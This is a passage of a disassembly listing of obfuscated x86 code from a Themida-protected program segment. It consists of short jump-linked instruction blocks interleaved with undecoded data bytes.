		dd 3085E08h, 0EA81EAD1h, 4F239B84h, 875AD101h, 0E95C240Ch
		dd 0FFFFD14Bh, 159CE89h, 0E9042474h, 0FFFF9C3Dh, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 875C2434h, 0C5E92434h, 66000008h
		dd 56240C8Bh, 0FFDB8DE9h, 815A54FFh, 4C2h, 4C28100h, 87000000h
		dd 565C2414h, 4BEh, 0A87EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF9E:				; CODE XREF: Themida_:0054958Ej
		add	ebx, 4E4E5FE8h
		jmp	loc_549BF8
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0ADh
		dd 46335F6Ah, 6AAAF681h, 0F101335Fh, 76E9565Eh,	89FFFF7Fh
		dd 4C281E2h, 0E9000000h, 0FFFF6CD1h, 4C4815Bh, 81000000h
		dd 4C4h, 6A42E900h, 0B8FFFFh, 2D000000h, 741D505Fh, 5F05C829h
		dd 89741D50h, 57E958C1h, 28FFFFB2h, 5B332CF8h, 0FFC8B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D001:				; CODE XREF: Themida_:0054A838j
		pop	edx
		push	eax
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_544E4E
; ---------------------------------------------------------------------------
		dw 505Eh
		dd 4B8h, 8BC22900h, 65E92404h, 31FFFFC8h, 0E68956D8h, 4C681h
		dd 0EE830000h, 24343304h, 0E9243431h, 0FFFF6ACBh, 195215BEh
		dd 81DEF763h, 661701EEh, 0C9CE8117h, 810F3759h,	0C66434EEh
		dd 0C0ADE924h, 0E95FFFFFh, 0FFFFF9B3h, 42474FFh, 24048F5Bh
		dd 48B665Ch, 0EC94E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D082:				; CODE XREF: Themida_:00546B94j
		sub	edi, eax
		jmp	loc_54E1B9
; ---------------------------------------------------------------------------
		db 88h,	0E7h, 8Bh
		dd 0C4832404h, 0FD885A04h, 83241C8Bh, 0E83004C4h, 240C8B66h
		dd 2C481h, 0EB800000h, 4FAA68B7h, 4890000h, 0C0A3B424h
		dd 0C48007ECh, 5DC48006h, 66E2CC80h, 305FB753h,	285B66FCh
		dd 15E958E3h, 81FFFFE7h, 0A8EA99EBh, 16952D4Fh,	0A805428Ah
		dd 52C8F26h, 1C58705Ch,	5C2DD829h, 2D1C5870h, 2C8F26A8h
		dd 222BB951h, 0F181639Bh, 42C11C2Ah, 0FFFC0BE9h, 68FFh
		dd 295E0000h, 0E9F389DEh, 2A00h, 0ADCEE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D116:				; CODE XREF: Themida_:00548C78j
		pop	ecx
		jmp	loc_546D43
; ---------------------------------------------------------------------------
		dd 0F5281EB5h, 148EE9h,	5E08900h, 4, 0BCE95157h, 66FFFFA9h
		dd 8124048Bh, 4ECh, 24048900h, 46E9E089h, 0ACFFFFB0h, 8904EC83h
		dd 13E9240Ch, 0BD00001Ch, 1B100DC3h, 0FF48B850h, 34E909A1h
		dd 0BEFFFF6Ch, 4, 685EF301h, 6143h, 0D39E9h, 0C3F18100h
		dd 31432469h, 36E959CDh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D183:				; CODE XREF: Themida_:0054FA1Ej
		sub	ax, 0D6h
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 2
		jmp	loc_54AA1F
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FFBBD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D1A9:				; CODE XREF: Themida_:0054B563j
		push	ebx
		mov	ebx, 13D73E5Dh
		and	ebx, 4F4F065Ah
		sub	ebx, 247207C6h
		add	ebx, 351E608Bh
		neg	ebx
		add	ebx, 9D53793Eh
		add	esi, 567459E7h
		sub	esi, ebx
		sub	esi, 567459E7h
		mov	ebx, [esp]
		jmp	loc_54D30A
; ---------------------------------------------------------------------------


loc_54D1DF:				; CODE XREF: Themida_:00545C8Fj
		push	ecx
		jmp	loc_548383
; ---------------------------------------------------------------------------


loc_54D1E5:				; CODE XREF: Themida_:0054DA52j
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 0B7C73AFh
		add	esi, eax
		add	esi, 0B7C73AFh
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0FF87C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D209:				; CODE XREF: Themida_:00545929j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_54E39E
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 0E9000000h, 0FFFFA622h
; ---------------------------------------------------------------------------


loc_54D230:				; CODE XREF: Themida_:0054BFEFj
		sub	esp, 4
		jmp	loc_5447E3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF67E0h, 6624248Bh, 9C240421h, 0FF67D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D24D:				; CODE XREF: Themida_:0054802Cj
		sub	ecx, eax
		pop	eax
		jmp	loc_54C8B0
; ---------------------------------------------------------------------------


loc_54D255:				; CODE XREF: Themida_:005441D4j
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54511E
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 4247C01h,	24048B5Fh, 5504C483h, 7F52BB53h, 56BD50A2h
		dd 2950A27Fh, 0E8015BDDh, 83242C8Bh, 20504C4h, 50000000h
		dd 42474FFh, 24048F58h,	0FF92D6E9h, 4BE56FFh, 1000000h
		dd 4DE95EF5h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D2B3:				; CODE XREF: Themida_:0054D92Ej
		movzx	ecx, al
		push	1482h
		mov	[esp], ecx
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 1
		dd 0E904245Ch, 0BD5h, 16CE8146h, 0F7125277h, 81D6F7DEh
		dd 4ECh, 0CA6EE900h, 0CB29FFFFh, 0A6EB8159h, 1015A3Ch
		dd 8FEEE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D2F2:				; CODE XREF: Themida_:0054A4ACj
		push	edi
		mov	edi, 0E873015h
		dec	edi
		sub	edi, 7FA34292h
		add	edi, 6493DA85h
		jmp	loc_5445F5
; ---------------------------------------------------------------------------


loc_54D30A:				; CODE XREF: Themida_:0054D1DAj
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_546D46
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_54B867
; ---------------------------------------------------------------------------


loc_54D323:				; CODE XREF: Themida_:005445E7j
		pop	ebp
		add	ebp, edi
		pop	edi
		push	ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		jmp	loc_54EC2D
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 1BF6E9F7h, 1C890000h, 81E38924h, 4C3h, 4BF5700h, 29000000h
		dd 1C875FFBh, 4895C24h,	5E08924h, 4, 2646BF57h,	0E7C11EC2h
		dd 149CE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D36E:				; CODE XREF: Themida_:00544193j
		push	ebx
		mov	ebx, 6F8D2A96h
		jmp	loc_54A84B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF669FE9h, 2E1C1FFh, 1B43E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D389:				; CODE XREF: Themida_:00545DDFj
		mov	edx, 632E3355h
		push	ebp
		push	edi
		mov	edi, 4B9D23D5h
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_546952
; ---------------------------------------------------------------------------
		db 33h
		dd 248B242Ch, 24040924h, 6672E99Ch, 0EA88FFFFh,	8853D2F6h
		dd 5BFD88D7h, 0F5805A66h, 59E8009Bh, 0FFB94CE9h, 4C483FFh
		dd 0E924048Fh, 0FFFFEF85h, 0A3E9EF29h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D3D7:				; CODE XREF: Themida_:0054D6BFj
		add	bl, 0FDh
		jmp	loc_54ED5F
; ---------------------------------------------------------------------------
		db 88h
		dd 58C688E8h, 53D6F659h, 0FFE578E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D3ED:				; CODE XREF: Themida_:0054E25Dj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5484A3
; ---------------------------------------------------------------------------
		db 80h
		dd 79E903E9h, 0FFFFFF7Ah, 565F2434h, 0BA52E689h, 4, 24F6C681h
		dd 67E9679Bh, 81FFFFFAh, 277F87EDh, 81F5012Ch, 277F87C5h
		dd 24348B2Ch, 4C481h, 0B9510000h, 2, 0FFB669E9h, 88E781FFh
		dd 816D8215h, 2A4878F7h, 863E92Dh, 0B9510000h, 534E4BCAh
		dd 8159CE29h, 6B0BBDEEh, 0B6EE816Bh, 293F9335h,	0B6C681CEh
		dd 813F9335h, 6B0BBDC6h, 0E41E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D476:				; CODE XREF: Themida_:0054745Ej
		shl	ebp, 8
		add	ebp, 7D094A1Ch
		add	dword ptr [esp+4], 29725CA7h
		add	dword ptr [esp+4], 649D401Eh
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 649D401Eh
		sub	dword ptr [esp+4], 29725CA7h
		pop	ebp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54BF87
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 58000000h, 0FFF66BE9h, 48B66FFh, 26C6824h, 65E90000h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D4CF:				; CODE XREF: Themida_:00548DD4j
		xor	[esp], ax
		pushf
		jmp	loc_543A20
; ---------------------------------------------------------------------------


loc_54D4D9:				; CODE XREF: Themida_:00548B6Ej
		mov	[esp], edx
		mov	edx, 76C45B25h
		jmp	loc_54EB20
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 7C05E9A2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D4EE:				; CODE XREF: Themida_:0054A3CBj
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_54BDA9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9F72424h, 3C468h, 24148900h, 5E99C50h, 0BEFFFF65h
		dd 3FCh, 2069E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D525:				; CODE XREF: Themida_:005442BBj
		mov	eax, esp
		add	eax, 4
		push	1BEAh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_545E5B
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 692DE9FFh, 0C8BFFFFh, 4C48124h, 81000000h, 0C6313AC1h
		dd 59CF8901h, 815FFE01h, 2C6h, 24348700h, 0E924248Bh, 0FFFFCEB1h
		dd 0E23056B2h, 0FF7958E9h, 4C083FFh, 0E9240487h, 0FFFFDD92h
		dd 5C241487h, 0E9241C8Bh, 0FFFFAB06h, 0C89665Ch, 0B60F6624h
		dd 9C5166C8h, 0FF6483E9h, 5FE948FFh, 5DFFFF97h,	4C581h
		dd 0EC810000h, 4, 0E9240C89h, 0FFFF93AAh, 2215B850h, 5D2D0B44h
		dd 0D12DD221h, 0DD8F7E8h, 2EA0026h, 7E628725h, 23272D2Bh
		dd 0C301A772h, 0A1B0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D5DE:				; CODE XREF: Themida_:005443E3j
		mov	ebp, 6E67053Fh
		jmp	loc_54F48A
; ---------------------------------------------------------------------------


loc_54D5E8:				; CODE XREF: Themida_:0054A49Cj
		mov	ch, ah
		mov	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		jmp	loc_547F68
; ---------------------------------------------------------------------------


loc_54D5FB:				; CODE XREF: Themida_:00549033j
		add	ebp, 0F96B09ABh
		add	esi, ebp
		pop	ebp
		pop	edi
		push	ecx
		jmp	loc_54A4A1
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0B951D831h, 28435E6h, 0F11E181h, 0E9D157C4h,	815F5457h
		dd 4C7h, 4EF8100h, 57000000h, 42474FFh,	24048F5Fh, 240C895Ch
		dd 592414F7h, 31F9E181h, 0E95252EAh, 1BE4h, 388068h, 24248900h
		dd 4BD55h, 6C010000h, 90E90424h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D65F:				; CODE XREF: Themida_:0054D9F4j
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		add	esp, 4
		idiv	ecx
		push	770Bh
		jmp	loc_5490D5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 241C875Eh, 6824248Bh, 1D3Bh,	51241C89h, 0E9D188h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D693:				; CODE XREF: Themida_:00549CEEj
		sub	eax, ebp
		jmp	loc_548771
; ---------------------------------------------------------------------------


loc_54D69A:				; CODE XREF: Themida_:00548971j
		pop	eax
		add	ebp, 4
		jmp	loc_54673B
; ---------------------------------------------------------------------------
		db 51h
		dd 4EC81h, 91E90000h, 88FFFFC6h, 0E986E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D6B6:				; CODE XREF: Themida_:0054C556j
		add	esp, 4
		sub	bl, 0B7h
		jmp	loc_54D3D7
; ---------------------------------------------------------------------------


loc_54D6C4:				; CODE XREF: Themida_:0054DBE0j
		pop	ebp
		add	esi, ebx
		pop	ebx
		jmp	loc_548957
; ---------------------------------------------------------------------------


loc_54D6CD:				; CODE XREF: Themida_:0054624Fj
		not	ah
		jmp	loc_549B77
; ---------------------------------------------------------------------------
		dd 2414895Ch, 31E95A54h, 81FFFFF5h, 0A82607CAh,	0DDE2813Ah
		dd 4A433474h, 1D26E9h, 0DD8F700h, 1F3E2C80h, 7387C62Dh
		dd 58C10172h, 4CE9F101h, 66000006h, 0E924048Bh,	0FFFFC431h
		dd 0C8B665Ch, 7685524h,	8900003Fh, 4832424h, 2C8B0424h
		dd 4C48324h, 4BE56h, 0F5010000h, 8124348Bh, 4C4h, 0BD555600h
		dd 3E904FCEh, 6FB034BEh, 5DEE01C1h, 7899ED81h, 0F5012F51h
		dd 7899C581h, 335E2F51h, 2C31242Ch, 242C3324h, 6624248Bh
		dd 0E99CC885h, 0FFFF62B4h, 473E958h, 81590000h,	0AA3C85C7h
		dd 81EF2910h, 0AA3C85EFh, 0B4EF8110h, 8B31F55Bh, 58E9242Ch
		dd 5BFFFF92h, 66C2885Ah, 8324048Bh, 148602C4h, 0EB4BE924h
		dd 74FFFFFFh, 8FE90424h, 0E9FFFF9Dh, 0FFFF6270h, 505C68h
		dd 24248900h, 299E956h,	0C3810000h, 21714DAAh, 930FC381h
		dd 0D929AFDBh, 81C1015Bh, 320088C1h, 2434FF09h,	8324048Bh
		dd 0C48104C4h, 4, 0F3E9C821h, 1FFFFA2h,	0C6835BDEh, 48B86802h
		dd 34890000h, 2474FF24h, 24348B04h, 0FFE389E9h,	0E9D601FFh
		dd 0FFFFF47Ah
; ---------------------------------------------------------------------------


loc_54D80C:				; CODE XREF: Themida_:0054A909j
		xor	edi, eax
		pop	eax
		add	edi, 60CD4AACh
		xchg	edx, edi
		not	edx
		jmp	loc_54680B
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 1DE3h, 5605EBC1h, 0FFF8D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D82D:				; CODE XREF: Themida_:00544598j
		add	[esp+8], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5472C7
; ---------------------------------------------------------------------------
		dd 0AEC3815Ch, 515DC57Ah, 370DBA52h, 0D189641Ch, 0FF68B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D851:				; CODE XREF: Themida_:0054E2D0j
		or	esi, edx
		pop	edx
		xchg	edi, esi
		dec	edi
		push	esi
		push	edi
		jmp	loc_549DB8
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 1E21E924h, 0C4810000h, 4, 0CD3E9h, 0E972B700h, 0FFFF7BCEh
		dd 9D1C77FFh, 14D35966h, 99E99C24h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D887:				; CODE XREF: Themida_:00546D52j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		jmp	loc_54EA0D
; ---------------------------------------------------------------------------
		dd 0F537E950h, 0D800FFFFh, 0FF81A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D8A1:				; CODE XREF: Themida_:00545AFEj
		push	3A5C807Ah
		pop	ebp
		add	eax, 5F077B0Bh
		jmp	loc_546193
; ---------------------------------------------------------------------------


loc_54D8B1:				; CODE XREF: Themida_:00545CF7j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F11D
; ---------------------------------------------------------------------------


loc_54D8BF:				; CODE XREF: Themida_:00544135j
		pop	ebp
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54EA37
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC8358C3h, 0EA1BE904h, 0C380FFFFh, 0D988595Fh, 4E9C05Bh
		dd 0E980C1FEh, 8BCB283Bh, 0C0E9240Ch, 0FFFFFFECh, 14F72077h
		dd 20478F24h, 0FF6DB3E9h, 516658FFh, 0FF8E92E9h, 2DD8F7FFh
		dd 6F4677D8h, 0BB53E0D1h, 27AB537Bh, 0FFA00DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D925:				; CODE XREF: Themida_:0054FB71j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54D2B3
; ---------------------------------------------------------------------------
		db 49h
		dd 63C18141h, 19F7DD8h,	0DAF759CAh, 8931F281h, 0D08961C7h
		dd 0FFD0A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D94D:				; CODE XREF: Themida_:0054F615j
		push	ebx
		jmp	loc_54B5D1
; ---------------------------------------------------------------------------
		db 56h
		dd 9059CCBEh, 0E9E6D121h, 0FFFFE937h
; ---------------------------------------------------------------------------


loc_54D960:				; CODE XREF: Themida_:00545491j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54BA8C
; ---------------------------------------------------------------------------


loc_54D96B:				; CODE XREF: Themida_:00545873j
		add	cl, 1
		jmp	loc_5494C3
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 24248B24h, 68C8BF0Fh, 6F21h, 0FFF9F0E9h
		dd 4C681FFh, 87000000h,	505C2434h, 1B68E089h, 89000077h
		dd 4BF243Ch, 0E9000000h, 0FFFF6239h
; ---------------------------------------------------------------------------


loc_54D9A8:				; CODE XREF: Themida_:00543DD4j
		pop	ebp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_546D69
; ---------------------------------------------------------------------------


loc_54D9BB:				; CODE XREF: Themida_:0054E1B4j
		add	ebp, 3CC5FFAAh
		push	ecx
		jmp	loc_54A115
; ---------------------------------------------------------------------------


loc_54D9C7:				; CODE XREF: Themida_:0054AFB2j
		mov	[esp], edx
		push	esi
		pop	edx
		pop	esi
		not	esi
		push	edx
		push	esi
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		xor	edi, edx
		jmp	loc_547B84
; ---------------------------------------------------------------------------


loc_54D9E2:				; CODE XREF: Themida_:00545CE8j
		sub	edi, 7D867DCDh
		mov	edx, edi
		jmp	loc_545CF4
; ---------------------------------------------------------------------------


loc_54D9EF:				; CODE XREF: Themida_:0054945Cj
		mov	edi, 4
		jmp	loc_54D65F
; ---------------------------------------------------------------------------
aFssw		db 'fSéW',9,0
		align 10h
		dd 875BD901h, 39E9240Ch
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA0B:				; CODE XREF: Themida_:00545572j
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54A62C
; ---------------------------------------------------------------------------
		db 81h
		dd 4EBh, 241C8700h, 240C895Ch, 0FF7D8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DA35:				; CODE XREF: Themida_:00545BC2j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	0AA6h
		mov	[esp], edi
		mov	edi, 11800317h
		sub	esi, edi
		jmp	loc_54D1E5
; ---------------------------------------------------------------------------
		db 51h
		dd 0F72391B9h, 2ABE5620h, 0C173CC7Dh, 0DEF703EEh, 0D73DE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA6E:				; CODE XREF: Themida_:0054A412j
		jz	loc_54A966
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_547425
; ---------------------------------------------------------------------------
		db 5
		dd 53802A10h, 102DF829h, 5F53802Ah, 0FFA7ADE9h,	0E9C801FFh
		dd 20Ch, 0AA60E954h, 0C831FFFFh, 2090E9h
		db 0
; ---------------------------------------------------------------------------


loc_54DAA5:				; CODE XREF: Themida_:0054BE51j
		sub	esi, 2FDA7BB9h
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 5Ch
		dd 132C8C0h, 0AA45E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DACA:				; CODE XREF: Themida_:0054F4FBj
		xchg	edi, [esp]
		pop	esp
		pop	edx
		jmp	loc_5465D2
; ---------------------------------------------------------------------------
		dd 54241C89h, 0C18BE95Bh, 0E95CFFFFh, 0FFFF7EA3h
; ---------------------------------------------------------------------------


loc_54DAE4:				; CODE XREF: Themida_:00544CFBj
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_54BF50
; ---------------------------------------------------------------------------
aFzC		db 'fZ,C',0
		db 0E8h, 4, 43h
		dd 0E92434FFh, 0FFFFB59Fh
; ---------------------------------------------------------------------------


loc_54DAFC:				; CODE XREF: Themida_:0054413Ej
		neg	eax
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		push	edx
		mov	edx, 6FC33CC1h
		xor	edx, 0ED047E4h
		xor	edx, 445F73A9h
		sub	ebx, edx
		pop	edx
		and	ebx, 32166160h
		push	470Ch
		mov	[esp], eax
		jmp	loc_54881A
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704C283h, 815C2414h,	2C5h, 912E900h
		dd 48B0000h, 3CE95024h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB4F:				; CODE XREF: Themida_:0054A1A9j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_549E32
; ---------------------------------------------------------------------------
		db 0BEh
		dd 5309464Dh, 0AFF13FBAh, 5EF201CDh, 3F0868h, 24048900h
		dd 0FF6CACE9h, 5E96E9FFh, 0E950FFFFh, 0FFFFE7FBh, 0FFC68146h
		dd 81FFFFFFh, 0A03AAFF6h, 0F879E981h, 875AFFFFh, 90E92434h
		dd 0F7FFFFE2h, 0E69C2DD8h, 76E9912Fh, 0FFFFCBh,	0F1B353E6h
		dd 0A2F380h, 48B5BDEh, 4C48124h, 88000000h, 0D5E95AF5h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DBD3:				; CODE XREF: Themida_:0054C328j
		mov	ebx, 49B815B4h
		push	ebp
		mov	ebp, 72A43D2Bh
		add	ebx, ebp
		jmp	loc_54D6C4
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 96h
		dd 4EC81h, 1C890000h, 146CBB24h, 0EB8154C2h, 4D4743FCh
		dd 0FF7DB2E9h, 44E95FFFh, 89FFFF7Ch, 8B542414h,	0C4812414h
		dd 4, 425BBF57h, 0F7810084h, 5BA3769Ch,	7532EF81h, 0E7C11596h
		dd 16F78102h, 5206714Dh, 33B33EBAh, 5E8FE910h, 8B66FFFFh
		dd 9F68240Ch, 89000012h, 0FDE9241Ch, 0F7FFFFF9h, 0C28142DAh
		dd 3D57660Dh, 505AD701h, 6E14BB53h, 72E9039Dh, 3100000Dh
		dd 1C33241Ch, 24248B24h, 0FF98CFE9h, 243C89FFh,	0FF6577E9h
		dd 0DA1BAFFh, 0E281222Ch, 34A6678Eh, 0FFDE47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DC89:				; CODE XREF: Themida_:0054BAE2j
		inc	edx
		jmp	loc_54E8EB
; ---------------------------------------------------------------------------


loc_54DC8F:				; CODE XREF: Themida_:0054B4FCj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_54AE8D
		push	ecx
		jmp	loc_549D2A
; ---------------------------------------------------------------------------
		dd 4C08359h, 5C240487h,	0FFD67AE9h, 0E9FB01FFh,	0FFFFF9C3h
		dd 0F3E9C888h, 0FFFFFF7Ah, 48B2434h, 6EE95224h,	8BFFFF68h
		dd 8B662424h, 89502404h, 405E0h, 9DE90000h, 0FFFFFFD9h
		dd 0C8B2434h, 9CC6E924h, 0F181FFFFh, 5B4E66FEh,	6859C829h
		dd 4B23h, 0FFBD21E9h, 32CA68FFh, 14890000h, 91B85024h
		dd 0BA24A14Ah, 0A4D2ED3h, 0A3E9C201h, 87FFFFACh, 535C241Ch
		dd 74DA6850h, 685862ABh, 7719h,	0E9243489h, 0FFFFD3D3h
		dd 240C335Eh, 33240C31h, 8B5C240Ch, 2B682404h, 0E9000014h
		dd 0FFFFEAF9h, 31243C33h, 29E9243Ch, 81FFFF8Bh,	4C26D6E9h
		dd 865CE96Dh, 0BB53FFFFh, 4, 0FF8A87E9h, 0BBFFh, 0DCE90000h
		dd 5BFFFFD6h, 4968D801h, 89000032h, 5DE92434h, 81FFFFEEh
		dd 62408DC6h, 0DAB8504Eh, 0D043D20h, 7F513CCFh,	14474705h
		dd 0CD9F050Ch, 0EE81FBE3h, 29612189h, 139FE9h, 2474FF00h
		dd 241C8B04h, 4C481h, 48F0000h,	24248B24h, 4B30F66h, 0FBE99C24h
		dd 66FFFFDAh, 83F7B652h, 1C8904ECh, 0E911B724h,	0FFFFEA62h
		dd 81E78957h, 4ECh, 24348900h, 1BDBE957h, 0CF010000h, 2C78159h
		dd 68000000h, 6E4Dh, 0FF243C89h, 5F042474h, 8B24048Fh
		dd 4002424h, 11E99C24h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DE0F:				; CODE XREF: Themida_:00545D0Fj
		push	esp
		pop	ecx
		push	edi
		mov	edi, 3DCE6D5Eh
		shr	edi, 6
		jmp	loc_546384
; ---------------------------------------------------------------------------
		db 0B9h
		dd 670B64BBh, 0F759CD21h, 20F581DDh, 0C10C9839h, 0BE5608E5h
		dd 6DC2CC04h, 0E95EF529h, 16FAh
; ---------------------------------------------------------------------------


loc_54DE40:				; CODE XREF: Themida_:0054B9A9j
		pop	edi
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_546925
; ---------------------------------------------------------------------------


loc_54DE4C:				; CODE XREF: Themida_:0054497Aj
		push	ecx
		push	esp
		jmp	loc_54643A
; ---------------------------------------------------------------------------


loc_54DE53:				; CODE XREF: Themida_:0054B5F5j
		mov	dword ptr [edx+38h], 0F525D54h
		push	ebx
		mov	ebx, 2604CF8h
		sub	ebx, 156F6F5Ah
		xor	ebx, 0ECF0DDA6h
		add	ebx, 6A836F6Eh
		add	ebx, edx
		sub	ebx, 6A836F6Eh
		push	397Dh
		jmp	loc_54AEDB
; ---------------------------------------------------------------------------
		dd 240C8B66h, 34FF5457h, 243C8B24h, 5004C483h, 0B951E089h
		dd 4, 0FFFBF0E9h, 2434FFFFh, 4C4835Bh, 0FCDCE95Fh, 0C89FFFFh
		dd 1F65B924h, 0C9815E6Eh, 23BE1CE4h, 2FE2E181h,	0B0E94726h
		dd 89FFFFB2h, 0EA682434h, 8B58EE5Eh, 0C4812434h, 4, 0A11AC681h
		dd 91E9A711h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEE3:				; CODE XREF: Themida_:0054C163j
		mov	[esp], ebx
		mov	ebx, 48E86E5Ah
		push	ebx
		push	eax
		mov	eax, 9993AAD4h
		jmp	loc_54CD1A
; ---------------------------------------------------------------------------
		db 89h
		dd 0F0B5240Ch, 8904EC83h, 0E589242Ch, 4C581h, 0ED830000h
		dd 242C8704h, 8813E95Ch, 0C8BFFFFh, 83D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DF1E:				; CODE XREF: Themida_:00549F4Bj
		sub	edx, esi
		jmp	loc_548374
; ---------------------------------------------------------------------------
		db 58h,	28h, 0C3h
		dd 666AC380h, 8124048Bh, 2C4h, 0C0B60F00h, 0FF90C2E9h
		dd 59C800FFh, 0C104C004h, 0C12CD800h, 0FFBC7DE9h, 0B55166FFh
		dd 78C0E9CDh
		db 2 dup(0FFh)
